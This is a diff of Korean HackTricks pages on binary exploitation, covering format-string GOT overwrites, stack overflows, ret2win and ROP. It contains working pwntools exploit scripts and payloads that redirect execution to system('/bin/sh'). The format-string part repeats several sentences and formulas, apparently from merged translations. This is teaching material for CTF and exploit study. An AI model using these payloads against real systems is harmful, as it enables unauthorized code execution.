AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### **Exploit Flow**
그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해서는 (이 주소를 한 번에 작성하는 데는 매우 큰 숫자이기 때문에) **`$n` 대신에 `$hn`**을 사용합니다. 이를 통해 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 최상위 2바이트와 최하위 바이트를 각각 한 번씩 수행합니다.
이 취약점을 통해 **임의의 주소에 아무 것이나 쓸 수 있습니다 (임의 쓰기).**
따라서 이 취약점을 통해 **임의의 주소에 어떤 것이든 쓸 수 있습니다 (임의 쓰기).**
목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소를 덮어쓰는 것**입니다. 이상적으로는 실행 가능한 섹션에 있는 **쉘코드의 주소를 설정**할 수 있지만, 실행 가능한 섹션에 쉘코드를 작성할 수 없을 가능성이 높습니다.\
따라서 다른 옵션은 **사용자로부터 인수를 받는 함수**를 **덮어쓰고** 이를 **`system` 함수**로 지정하는 것입니다.
이 예에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 실행하는 기술을 남용할 수 있습니다:
주소를 쓰기 위해 일반적으로 2단계를 거칩니다: 먼저 주소의 **2바이트를 쓰고** 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**을 사용합니다.
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
**HOB**는 주소의 상위 2바이트를 나타냅니다.\
**LOB**는 주소의 하위 2바이트를 나타냅니다.
**사용자**로부터 **인수**를 **받는 함수**의 **주소**를 **`system`** **함수**로 **지정**할 것입니다.\
언급한대로 주소를 작성하려면 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 작성한 다음 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**을 사용합니다.
따라서 형식 문자열이 작동하는 방식 때문에 먼저 \[HOB, LOB] 중 **더 작은 것을 먼저 써야** 합니다.
* **HOB**는 주소의 상위 2바이트를 가리킵니다.
* **LOB**는 주소의 하위 2바이트를 가리킵니다.
그런 다음, 형식 문자열이 작동하는 방식 때문에 \[HOB, LOB] 중 **작은 값을 먼저 작성**한 다음 다른 값을 작성해야 합니다.
만약 HOB < LOB이면\
`[주소+2][주소]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
`[주소+2][주소]%.[HOB-8]x%[오프셋]\$hn%.[LOB-HOB]x%[오프셋+1]`
만약 HOB > LOB이면\
`[주소+2][주소]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
`[주소+2][주소]%.[LOB-8]x%[오프셋+1]\$hn%.[HOB-LOB]x%[오프셋]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
## Pwntools Template
### Pwntools 템플릿
이러한 취약점에 대한 exploit을 준비하기 위한 템플릿을 찾을 수 있습니다:
유형의 취약점을 위한 exploit을 준비하는 템플릿을 다음에서 찾을 수 있습니다:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 기본 예제를 찾을 수 있습니다:
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## 다른 예제 및 참고 자료
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **사이버 보안 회사에서 일하시나요?** **회사가 HackTricks에 광고되길 원하시나요?** **또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요?** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) ** PR을 제출하세요**.
</details>

View file

@ -2,26 +2,26 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>
## 스택 오버플로우란
**스택 오버플로우**는 프로그램이 할당된 스택에 저장할 수 있는 데이터보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 하여 유효한 데이터의 손상, 제어 흐름의 중단 및 악의적 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대한 경계 확인을 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
**스택 오버플로우**는 프로그램이 할당된 스택에 저장할 수 있는 데이터보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 하여 유효한 데이터의 손상, 제어 흐름의 중단 및 악의적 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대한 경계 확인을 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
이 덮어쓰기의 주요 문제는 **EIP****EBP** 포인터가 **스택에 저장**되어 이전 함수로 돌아가는 것을 제어할 수 있게 되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있니다.
이 덮어쓰기의 주요 문제는 **EIP****EBP** 포인터가 **스택에 저장**되어 이전 함수로 돌아가는 것을 제어할 수 있게 된다는 것입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있게 됩니다.
이 취약점은 일반적으로 함수가 **할당된 양보다 더 많은 바이트를 스택에 복사**하여 발생하므로 스택의 다른 부분을 덮어쓸 수 있습니다.\
이에 취약한 일부 함수는 `strcpy`, `strcat`, `sprintf`, `gets`, `fgets` 등이 있습니다...
이에 취약한 일부 일반 함수는 `strcpy`, `strcat`, `sprintf`, `gets`, `fgets` 등이 있습니다...
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
@ -36,7 +36,7 @@ printf("You entered: %s\n", buffer);
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 제공하는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 액세스를 시도했다는** `Segmentation Fault`가 발생하는 것을 기대하는 것입니다.
또한, 스택 오버플로우 취약점을 발견한 후에는 **EIP 포인터를 덮어쓸 수 있는 오프셋을 찾아야** 합니다. 이를 위해 일반적으로 **De Bruijn sequence**가 사용됩니다. 이는 크기가 _k_인 알파벳과 길이가 _n_인 부분 시퀀스에 대해 **모든 가능한 길이가 **_**n**_**인 부분 시퀀스가 정확히 한 번씩 나타나는 순환 시퀀스**입니다.
또한, 스택 오버플로우 취약점을 발견한 후에는 **EIP 포인터를 덮어쓸 수 있는 오프셋을 찾아야** 합니다. 이를 위해 일반적으로 **De Bruijn sequence**가 사용됩니다. 이는 크기가 _k_인 알파벳과 길이가 _n_인 부분 수열에 대해 모든 가능한 길이 **_n_**의 부분 수열이 정확히 한 번씩 나타나는 순환 시퀀스입니다.
이렇게 하면 EIP를 덮어쓰는 오프셋을 수동으로 찾아야 하는 대신, 이러한 시퀀스 중 하나를 패딩으로 사용하고 그것을 덮어쓰는 바이트의 오프셋을 찾을 수 있습니다.
@ -59,16 +59,16 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## 스택 오버플로우 공격
## 스택 오버플로우 악용
오버플로우 발생 시 (오버플로우 크기가 충분히 큰 경우) 스택 내 다른 변수들의 값을 덮어쓸 수 있습니다. EBP 및 EIP에 도달할 때까지 (또는 그 이상) 다른 변수들의 값을 덮어쓸 수 있습니다.\
이 유형의 취약점을 악용하는 가장 일반적인 방법은 **EIP 포인터를 수정**하여 함수가 종료될 때 **사용자가 지정한 위치로 제어 흐름이 리디렉션**되도록 하는 것입니다.
오버플로우 발생 시 (오버플로우 크기가 충분히 크다고 가정), 스택 내 다른 변수들의 값을 덮어쓸 수 있습니다. EBP 및 EIP에 도달할 때까지 (또는 그 이상) 계속 덮어쓸 수 있습니다.\
이 유형의 취약점을 악용하는 가장 일반적인 방법은 **EIP 포인터 수정**으로 함수가 종료될 때 **사용자가 지정한 위치로 제어 흐름이 리디렉션**되도록 하는 것입니다.
그러나 다른 시나리오에서는 also **스택 내 일부 변수 값만 덮어쓰는 것**이 취약점 악용에 충분할 수도 있습니다 (예: 쉬운 CTF 도전 과제).
그러나 다른 시나리오에서는 **스택 내 일부 변수 값 덮어쓰기**만으로도 악용이 가능할 수 있습니다 (예: 쉬운 CTF 도전 과제).
### Ret2win
이 유형의 CTF 도전 과제에서는 **바이너리 내에 호출되지 않는 함수**가 있으며, **이 함수를 호출하여 이기기 위해 호출해야 합니다**. 이러한 도전 과제에서는 **EIP를 덮어쓸 오프셋을 찾고** 호출할 함수의 주소를 찾아야 합니다 (보통 [**ASLR**](../common-binary-protections/aslr.md)이 비활성화될 것입니다). 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
이 유형의 CTF 도전 과제에서는 **바이너리 내에 호출되지 않는 함수**가 있으며, **이 함수를 호출하여 승리해야 합니다**. 이러한 도전 과제에서는 **EIP를 덮어쓸 오프셋을 찾고** 호출할 함수의 주소를 찾아야 합니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 비활성화된 경우가 일반적) 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{% content-ref url="ret2win.md" %}
[ret2win.md](ret2win.md)
@ -76,7 +76,7 @@ pattern search $rsp #Search the offset given the content of $rsp
### 스택 쉘코드
이 시나리오에서 공격자는 스택에 쉘코드를 배치하고 제어 가능한 EIP를 이용하여 쉘코드로 이동하고 공격자의 코드를 실행할 수 있습니다:
이 시나리오에서 공격자는 스택에 쉘코드를 배치하고 제어 가능한 EIP를 쉘코드로 이동시켜 공격자의 코드를 실행할 수 있습니다:
{% content-ref url="stack-shellcode.md" %}
[stack-shellcode.md](stack-shellcode.md)
@ -84,7 +84,7 @@ pattern search $rsp #Search the offset given the content of $rsp
## ROP
이 기술은 이전 기술의 주요 보호 기능인 **실행 가능 스택**을 우회하는 기본 프레임워크입니다. 이를 통해 바이너리 내 기존 명령어를 악용하여 임의의 명령을 실행하는 여러 기술 (ret2lib, ret2syscall 등)을 수행할 수 있습니다:
이 기술은 이전 기술의 주요 보호 기능인 **실행 가능 스택이 없음**을 우회하는 기본 프레임워크입니다. 이를 통해 바이너리 내 기존 명령을 악용하여 임의 명령을 실행하는 여러 기술 (ret2lib, ret2syscall 등)을 수행할 수 있습니다:
{% content-ref url="rop-return-oriented-programing.md" %}
[rop-return-oriented-programing.md](rop-return-oriented-programing.md)
@ -94,6 +94,6 @@ pattern search $rsp #Search the offset given the content of $rsp
취약점 악용을 방지하려는 여러 보호 기능이 있습니다. 이를 확인하려면 다음을 참조하십시오:
{% content-ref url="../common-binary-protections/" %}
[common-binary-protections](../common-binary-protections/)
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 AWS 해킹을 배우세요**!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
다른 HackTricks 지원 방법:
- **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
## 기본 정보
**Ret2win** 챌린지는 **바이너리 익스플로잇**이 포함된 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리에서 취약점을 악용하여 특정하지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `ret2win` 등으로 명명되며 실행되면 일반적으로 플래그 또는 성공 메시지를 출력합니다. 도전 과제는 일반적으로 **스택의 반환 주소를 덮어쓰는** 것을 포함하여 실행 흐름을 원하는 함수로 전환하는 것입니다. 다음은 예제를 포함한 자세한 설명입니다:
**Ret2win** 도전 과제는 **바이너리 공격**을 포함하는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정한 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `ret2win` 등으로 명명되며 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 도전 과제는 일반적으로 **스택**의 **리턴 어드레스**를 덮어쓰고 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 예시를 통해 더 자세히 설명하겠습니다:
### C 예
### C 예
취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수를 고려해보세요:
취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수가 있는 경우를 고려해보겠습니다:
```c
#include <stdio.h>
#include <string.h>
@ -39,7 +39,7 @@ vulnerable_function();
return 0;
}
```
이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR** 비활성화 상태로 실행하려면 다음 명령을 사용할 수 있습니다:
이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR**를 비활성화하려면 다음 명령을 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Pwntools를 사용한 Python Exploit
해킹 도구 **pwntools**를 사용하여 exploit을 작성하는 강력한 CTF 프레임워크입니다. exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다.
해킹에는 **pwntools**를 사용할 것이며, 이는 해킹을 위한 강력한 CTF 프레임워크입니다. Exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다.
```python
from pwn import *
@ -71,18 +71,18 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어 `objdump`를 사용하여 다음과 같이 할 수 있습니다:
`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어, `objdump`를 사용하여 다음과 같이 할 수 있습니다:
```sh
objdump -d vulnerable | grep win
```
이 명령은 `win` 함수의 어셈블리를 보여주며 시작 주소를 포함합니다.
Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게 만들어진 메시지를 보내고, 버퍼 오버플로우를 발생시켜 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환할 때, `main`으로 반환하거나 종료하는 대신에 `win`으로 이동하고 메시지가 출력됩니다.
Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게 만들어진 메시지를 보내어 버퍼 오버플로우를 발생시키고 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환할 때 `main`으로 돌아가거나 종료하는 대신에 `win`으로 이동하고 메시지가 출력됩니다.
## 보호 기능
* [**ASLR**](../common-binary-protections/aslr.md)은 실행마다 주소가 신뢰할 수 있도록 하기 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 같지 않을 수 있으며, win 함수가 로드된 위치를 파악하기 위해 일종의 leak이 필요할 수 있습니다.
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 얻기 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 같지 않을 수 있으며 win 함수가 로드된 위치를 파악하기 위해 일종의 leak이 필요할 것입니다.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
## 다른 예제 및 참고 자료
@ -90,14 +90,14 @@ Python 스크립트는 `vulnerable_function`에서 처리될 때 조심스럽게
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary>
HackTricks를 지원하는 다른 방법:
@ -10,7 +10,7 @@ HackTricks를 지원하는 다른 방법:
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
</details>
@ -21,7 +21,7 @@ HackTricks를 지원하는 다른 방법:
### ROP 작동 방식
1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다.
2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같이), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다.
2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리나 추가 작업을 처리하는 것을 포함할 수 있습니다.
3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다.
## x86 예제에서 ROP 체인
@ -45,7 +45,7 @@ HackTricks를 지원하는 다른 방법:
**pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 준비하는 방법은 다음과 같습니다. `system('/bin/sh')`을 실행하도록 목표로 하며, 체인이 다음과 같이 시작하는 것에 주목하세요:
1. 정렬 목적을 위한 `ret` 명령(선택 사항)
2. `system` 함수의 주소 (ASLR 비활성화 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조)
2. `system` 함수의 주소 (ASLR 비활성화되고 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조)
3. `system()`에서의 반환 주소를 위한 자리 표시자
4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수)
```python
@ -85,15 +85,15 @@ p.interactive()
### **x64 (64-bit) 호출 규약**
* Unix 계열 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인수는 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9` 레지스터에 전달**됩니다. 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
* Unix 계열 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인수는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9`에 전달**됩니다. 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
* **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인수에 대해 `RCX`, `RDX`, `R8`, 그리고 `R9`를 사용하며, 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다.
* **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 그리고 `R8`부터 `R15`까지가 포함됩니다.
#### **가젯 찾기**
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯( **system()** 함수에 **"/bin/sh"** 문자열을 전달하기 위함)를 찾고 **system()** 함수를 호출할 것입니다. 다음과 같은 가젯들을 식별했다고 가정해 봅시다:
우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯들에 초점을 맞추어 보겠습니다 (**system()**에 **"/bin/sh"** 문자열을 인수로 전달하기 위함) 그리고 **system()** 함수를 호출합니다. 다음과 같은 가젯들을 식별했다고 가정해봅시다:
* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수를 설정하는 데 필수적입니다.
* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수 설정에 필수적입니다.
* **ret**: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다.
그리고 **system()** 함수의 주소를 알고 있다고 가정합니다.
@ -137,28 +137,28 @@ p.interactive()
```
### 스택 정렬
**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어** (예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (즉, **RSP**가 16의 배수가 아닌 경우), **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어** (예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (즉, **RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다.
## x86 대 x64 주요 차이점
{% hint style="success" %}
x64는 처음 몇 인자에 대해 레지스터를 사용하기 때문에 간단한 함수 호출에 대해 x86보다 더 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 큰 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다.
x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함수 호출에 대해 x86보다 더 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 큰 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다.
{% endhint %}
## 보호 기능
* [**ASLR**](../common-binary-protections/aslr.md)
* [**스택 카나리**](../common-binary-protections/stack-canaries.md)
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)
## 다른 예
## 다른 예제 및 참조
